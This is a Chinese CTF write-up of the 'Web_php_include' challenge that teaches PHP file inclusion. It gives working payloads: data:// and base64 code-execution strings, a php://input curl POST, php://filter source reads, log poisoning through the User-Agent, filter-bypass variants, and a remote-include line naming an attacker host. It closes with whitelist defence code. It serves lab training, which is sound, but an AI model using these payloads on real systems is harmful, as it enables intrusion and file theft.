ARTICLE DETAIL

资讯详情

深耕商务建站与企业官网运营的一线实战洞察。

Web_php_include 解题全解析:从文件包含到伪协议绕过

Web_php_include 解题全解析:从文件包含到伪协议绕过 如果你在CTF新手期刷过Web题大概率见过一个叫Web_php_include的老面孔。这道题在某主流练习平台的新手列表里挂了很久名字已经把考点写脸上PHP 环境下的文件包含File Inclusion。我最初打这道题时抱着“随便点点看”的心态结果被Hacker!!!拦了一轮又一轮后来才把php://input、data://、php://filter这些伪协议逐个摸透。这篇文章按胎教标准重新写一遍 WP每个动作背后的“为什么”也一并讲清楚适合刚接触文件包含、想看完整解题思路的选手也适合那种“照着payload打进去但不知道原理”的朋友。1. 开题先搞清楚这道题到底在问什么1.1 题目名就是第一份情报Web_php_include可以直接拆成三段看Web方向说明是 Web 安全题目。php语言说明后端跑的是 PHP。include说明核心考点大概率是文件包含漏洞。这种命名风格其实就是出题人给你划重点。相比那些起得花里胡哨的题这道题算是很友好。胎教版 WP 的意思是从打开环境、看源码、构造 payload、提交 flag每一步都按最啰嗦的方式讲尽量不让跟练的人卡壳。顺便说一下这类题目在不同平台上可能有一点点改动比如过滤条件不同、flag 文件位置不同。所以下面我会把“典型原题”和“常见变体”一起讲而不是只给一条能够复现的命令。只要理解了怎么绕过过滤换什么外壳都不怕。1.2 打开环境后第一眼看到什么这道题打开环境后通常是一个很干净的页面页面上要么是一段高亮代码要么只有一行类似please input the page parameter的提示。在多数版本里页面源码长这样?php highlight_file(__FILE__); if (isset($_GET[page])) { $page $_GET[page]; include($page); } ?有的版本会再套一层过滤比如?php $page $_GET[page]; if (stripos($page, php://) ! false) { die(Hacker!!!); } include($page); ?看到include($page)并且$page直接来自$_GET就可以基本确定这是一个典型的本地文件包含LFI漏洞点。highlight_file(__FILE__)会把当前文件源码直接打印出来这本身就是出题人给的提示也是信息收集的第一步。1.3 信息收集也可以有顺序很多新手拿到题目直接开始试 payload其实信息收集的顺序更影响效率。我习惯按下面这个流程走先看 URL 上有没有参数。index.php?pagexxx这种形式一眼就能看出page是可控参数。再看页面渲染出来的源码里有没有注释、隐藏提示、base64 字符串。用浏览器开发者工具看响应头确认服务器类型比如nginx、apache这会影响后面日志包含时猜路径。最后再用 curl 做一次干净的请求避免浏览器自动解码、自动加 UA 这些东西干扰判断。有时候题目源码并不会直接显示完整代码比如有的版本只用include($_REQUEST[page])看起来更隐蔽。信息收集阶段多花五分钟后面少走半小时弯路。1.4 用最土的办法确认漏洞确认文件包含漏洞可以先试一个最简单参数index.php?pageindex.php如果页面内容没变化或者还是能看到相同源码说明include确实被触发并且page参数能控制包含路径。再试一个不存在的文件index.php?pageno_such_file如果页面出现类似Warning: include(no_such_file): failed to open stream的报错说明参数已经被拼进 include 了。报错信息还能帮我们看到当前目录结构属于意外收获。也可以试路径穿越index.php?page../../../../etc/passwd注意有些环境会过滤../大概率看得到内容看不到也不用慌后面还有伪协议路线。这个阶段的目标只是确认“能包含”不是立刻拿 flag。2. 文件包含漏洞和伪协议先懂原理再打题2.1 include 可控意味着什么include在 PHP 里的作用是把一个文件拉进来并按 PHP 语法解析它。正常情况下开发者会用它加载公共头部、模板、配置文件。但如果文件路径来自用户输入问题就大了。可以这么理解include就像小区门禁正常情况下门禁手里有一份白名单只放行快递员、外卖员、业主。现在这个门禁变成逢人就问“你是谁”然后直接放行。攻击者完全可以说“我就是 PHP 代码”门禁就直接把带进来的代码执行了。所以文件包含漏洞一旦可控轻则读取任意文件重则直接执行系统命令。这道题的目标就是把这个能力变成一次 RCE然后从服务器上把 flag 带出来。2.2 四个高频伪协议速记PHP 提供了一些“伪协议”它们不是真实文件但能被include、file_get_contents这些函数当流来用。下面这几个在 CTF 里最常出现伪协议作用常见场景依赖条件php://input把请求体当作流内容用 POST 直接传 PHP 代码执行需要allow_url_includeOnphp://filter对文件内容做编码/过滤器处理读取 PHP 源码而不直接执行多数环境默认可用data://把字符串当作数据流构造完整 PHP 代码直接 RCE需要allow_url_includeOnexpect://直接执行系统命令很直接但少见需要安装 expect 扩展其中data://和php://input是最常用的两条 RCE 路线。php://filter则擅长“读源码”把 PHP 文件内容用 base64 输出源码里的变量、注释、逻辑全都能看到。2.3 题目常见的过滤规则原题为了增加一点难度通常会过滤一些关键词。最经典的黑名单是if (stripos($page, php://) ! false) { die(Hacker!!!); }还有的版本会用正则preg_match(/php:\/\/|http:\/\/|https:\/\/|ftp:\/\//i, $page)这种过滤方案的问题在于它只是查字符串里有没有php://、http://、ftp://但没查data://。所以构造data://text/plain,...就能从黑名单的眼皮底下溜过去。2.4 黑名单为什么容易被绕黑名单的本质是“禁止列表”只把已知的危险项挡在门外。攻击者不需要解除黑名单只需要找一个没被写进黑名单的合法项。PHP 协议名本身又是大小写不敏感的如果过滤规则没写i修饰符用PHP://也能碰碰运气。黑名单永远是在跟攻击者比谁的知识库更大这种防守思路从根上就吃亏。真正的防御应该用“白名单”只允许特定的文件名或目录前缀其他一律拒绝。可惜很多练习题目为了教学效果故意保留黑名单写法让我们有机会反复练习绕过。3. 实操四种拿 flag 的路线3.1 路线 Adata://直接命令执行这是这道题最稳的解法也是我推荐第一个试的。构造路径index.php?pagedata://text/plain,?php system(cat flag.php); ?直接贴到浏览器地址栏里通常会被自动编码但为了保险最好手动把特殊字符转成 URL 编码index.php?pagedata://text/plain,%3C?php%20system(cat%20flag.php);%20?%3E更推荐的做法是先用 base64 编码整段 PHP 代码再放到data://text/plain;base64,后面data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg这段 base64 解码后就是?php system(cat flag.php); ?执行过程不难理解include遇到data://会把后面字符串当作数据流读进来PHP 解析器看到?php ... ?标签就开始执行代码最终system(cat flag.php)把 flag 文件内容打印出来。这里有个很容易踩的坑如果使用的是cat flag.php而 flag 文件本身就是 PHP 文件里面可能有?php $flag flag{...}; ?这种内容。cat会原样输出文件内容所以你能看到带标签的源码直接复制 flag 就行。3.2 路线 Bphp://input配合 POST 数据如果当前环境没有把php://拉黑php://input是更简单直接的方法。先让page指向php://inputindex.php?pagephp://input然后用 POST 方式在请求体里放 PHP 代码curl -X POST http://target/index.php?pagephp://input \ --data-binary ?php system(cat flag.php); ?php://input会把整个请求体当作数据流include读取后交给 PHP 解析于是 POST 里的代码就被执行了。这里有两个细节值得注意用--data-binary比--data更稳因为它不会吃掉换行、多余空格代码结构能完整保留。如果靶机配置了allow_url_includeOffphp://input可能报failed to open stream这时要换成data://因为data://在很多版本里对配置的要求更宽松一些。3.3 路线 Cphp://filter读源码拿 flag有的环境不让你直接执行命令或者过滤了system、cat这类关键词。这时候先别急着 RCE试着用php://filter把源码读出来。构造方式index.php?pagephp://filter/readconvert.base64-encode/resourceflag.php返回的结果是一段 base64。把它丢到在线解码工具或者用命令行echo BASE64_STRING | base64 -d就能看到flag.php的源代码。如果 flag 是一个变量比如?php $flag flag{test_flag}; ?直接读取源码比执行命令更直观还能看到被注释掉的部分有些题会把 flag 写在注释里。如果题目过滤了php://可以依次尝试PHP://filter/readconvert.base64-encode/resourceflag.php大小写绕过php://Filter/readconvert.base64-encode/resourceflag.php过滤器名大小写这些变体只对部分过滤规则有效。如果过滤代码用了stripos或者正则的i修饰符大小写就没用老老实实回到data://。3.4 路线 D日志包含保底如果所有伪协议都因过滤或配置问题用不了日志包含是最后的大招。Nginx 或 Apache 会把访问日志写到固定目录日志内容里包含 URL、User-Agent 这些请求信息。理论上我们再怎么构造 payload都会被写进日志只要让include去包含日志文件日志里的 PHP 代码就会被执行。第一步把恶意代码放进 User-Agentcurl -A ?php system(cat flag.php); ? http://target/第二步用page包含日志文件index.php?page/var/log/nginx/access.log如果服务器是 Apache可以试index.php?page/var/log/apache2/access.log日志包含的变数很多日志路径不确定、日志内容可能被写入方转义、权限不足导致读取失败、日志文件太大导致报错所以这并不是最优先路线但在伪协议全灭的时候它往往是唯一能走下去的路。我之前遇到过一个变体题过滤规则把data://、php://、http://全拦了最后就是把恶意代码拼在 UA 里再包含 nginx 日志拿到的 flag。所以这套技巧值得练熟。3.5 推荐练习顺序到手的 payload 不要乱试建议按这个顺序来data://直接 RCE最快。php://input带 POST如果data://被过滤。php://filter读源码适合信息收集。日志包含保底适合伪协议全废的情况。每一步失败后都要记录失败原因而不是盲目换下一个。很多题目的变体就是靠“换一个协议”解决的。4. 为什么 payload 能通不通时查什么4.1 从代码审计视角看防护把典型过滤代码再拎出来看一遍$page $_GET[page]; if (stripos($page, php://) ! false) { die(Hacker!!!); } include($page);问题出在过滤范围太窄。stripos只能从字符串里找php://而data://的字符串里根本没有php://这三个词所以校验直接通过。这说明出题人可能默认只防了最常见的php://但忘了伪协议家族不止这一个。这也提醒了我们一点以后审代码看到include($var)不要急着试 payload先找它上面有哪几层过滤。过滤规则决定了攻击面甚至比源码本身还重要。4.2 绕过思路不完全手册除了data://还有几个知识点值得顺手记下大小写混写PHP://input、DATA://text/plain。PHP 协议名大小写不敏感部分过滤规则区分大小写时有效。双重 URL 编码例如把php://编码成%2570%2548%2530%253A%252F%252F。有些场景服务器接收后先解码一层再进入过滤逻辑或者中间层有参数污染这种方式可能绕过。空字节截断flag.php%00.jpg。在 PHP 5.3.4 之前可以截断后面内容现在基本失效但理解它有助于理解文件包含的历史问题。远程文件包含RFIhttp://attacker/shell.txt。需要allow_url_includeOn而且大多数黑名单会拦http://不是首选。这些技巧不是每个在当前版本都能用但面试、比赛里偶尔会遇到。平时多积累关键时刻能救命。4.3 排错顺序清单如果你试了 payload 没反应按照下面这个表格排查比乱试快得多现象可能原因下一步页面没有任何变化参数名不对或请求被浏览器拦截用 curl 重放请求核对参数名出现Hacker!!!触发关键词过滤换data://或变体协议页面空白代码执行了但没输出用cat或highlight_file输出报failed to open stream伪协议被禁用或路径错误检查allow_url_include换路径base64 解码后是乱码resource 路径不对或内容被二次编码重新确认文件路径4.4 用日志定位是哪里断了如果上面表格还排查不出来打开开发者工具看 Network 面板确认状态码、响应头、请求体。有些题目环境会开display_errorsOff错误信息被吞掉页面一片空白。这时候可以故意在 payload 里触发一个 PHP 警告比如?php include(no_such_file); ?把包含路径的报错逼出来。我习惯在本地起一个同样的 PHP 环境做对照测试。本地能通过的 payload到了远程不通多数是过滤规则或者 PHP 配置的差异本地都不通过的 payload不要拿到远程浪费时间。这个思路适用于所有 Web 题。5. 踩坑实录与问题速查5.1 踩坑一浏览器把尖括号吃了直接把?php system(cat flag.php); ?贴到地址栏浏览器有可能会把?当作标签开始自动转义、截断。所以看到 payload 被 URL 编码不是坏事反而是正确行为。最省事的方法是把代码用 base64 编码后再放data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg这样地址栏里全是字母数字和等于号浏览器基本不会动它。5.2 踩坑二cat没输出或者被禁用如果cat flag.php没有输出先考虑是不是命令执行函数被disable_functions禁掉了。可以切换命令试试tac flag.php nl flag.php more flag.php sort flag.php也可以直接用 PHP 自带函数读文件?php print_r(file(flag.php)); ?file()会把文件每一行作为数组元素输出print_r打印出来能看到完整文件内容。5.3 踩坑三引号和分号把 payload 弄坏PHP 代码必须有分号命令里又经常要写引号两套引号叠在一起很容易破坏 payload。比如?php system(cat flag.php); ?外层如果用双引号包裹内层也用双引号就需要转义非常容易出错。解决办法就是 base64 编码echo -n ?php system(cat flag.php); ? | base64得到一个纯 base64 字符串放到data://text/plain;base64,后面既不担心引号也不担心分号。5.4 踩坑四过滤规则比想象中多有的题目会把data://也加进黑名单看起来所有路都堵死了。别急着放弃还可以试大小写变体DATA://text/plain。试data://text/plain;charsetutf-8,这类带参数的形式过滤规则可能没想到。回到日志包含把恶意代码放到 UA 头里绕开伪协议黑名单。反复读源码有时候 flag 就在源码注释里压根不用 RCE。这个题目的本质是“在一个过滤很多的黑名单里找一条活路”。多试几次总有一个口子能走通。6. 从这道题看 LFI 的攻防与后续学习路线6.1 开发时怎么防御从攻防角度看LFI 漏洞真正的根因是“用户输入直接拼接进文件路径”。修复方式不是把黑名单拉长而是彻底取消用户的路径控制权。推荐写法是把文件路径映射成固定键名$allowed [ home pages/home.php, about pages/about.php, ]; $pageKey $_GET[page]; if (isset($allowed[$pageKey])) { include($allowed[$pageKey]); } else { include(pages/error.php); }这样用户不管传什么都只能在$allowed数组里选一个键根本碰不到真实路径。再配合关闭allow_url_include对包含路径做realpath校验禁止上传可解析的 PHP 文件。这些才是真正有效的防护。黑名单只是防守的第一道墙白名单才是硬件级门禁。6.2 新手学完这道题可以继续啃什么Web_php_include属于“文件包含类漏洞”的基础入门题。打完这道题后面可以按这个路线继续学了解include、require、require_once的差异以及它们的解析规则。学命令注入掌握system、exec、passthru的区别。学 SQL 注入因为 Web 题的考点经常串在一起。学 SSRF理解服务端请求伪造和文件包含的共同点。最后回到实战靶场练习拿到源码后如何快速定位漏洞参数。不管后续学什么都记住一句话CTF 题目都是虚拟靶场合法练习才是学习。不要拿这套思路去扫未经授权的目标技术本身没有善恶使用边界取决于人。打题打到最后我发现很多“高级技巧”其实是基础知识的组合。data://并不神秘它只是 PHP 内置的一个数据流协议include也不神秘它只是按规则解析文件。把这两个点连起来这道题的答案就自己浮出来了。最后分享一个我认为很有用的习惯拿到任何文件包含题先不要急着打 RCE先尝试用php://filter把index.php和flag.php的源码都读出来。很多题目把 flag 放在变量里、注释里、甚至藏在某个不存在漏洞的代码片段中。能读到源码你就已经从“盲打”升级成“开卷考”了。这道题我当初卡了一个多小时就是因为一直跟php://较劲直到换成data://才一通到底。希望这份胎教级 WP 能让你少踩一些我走过的坑。
返回列表
PREV
查看更多资讯
NEXT
返回资讯列表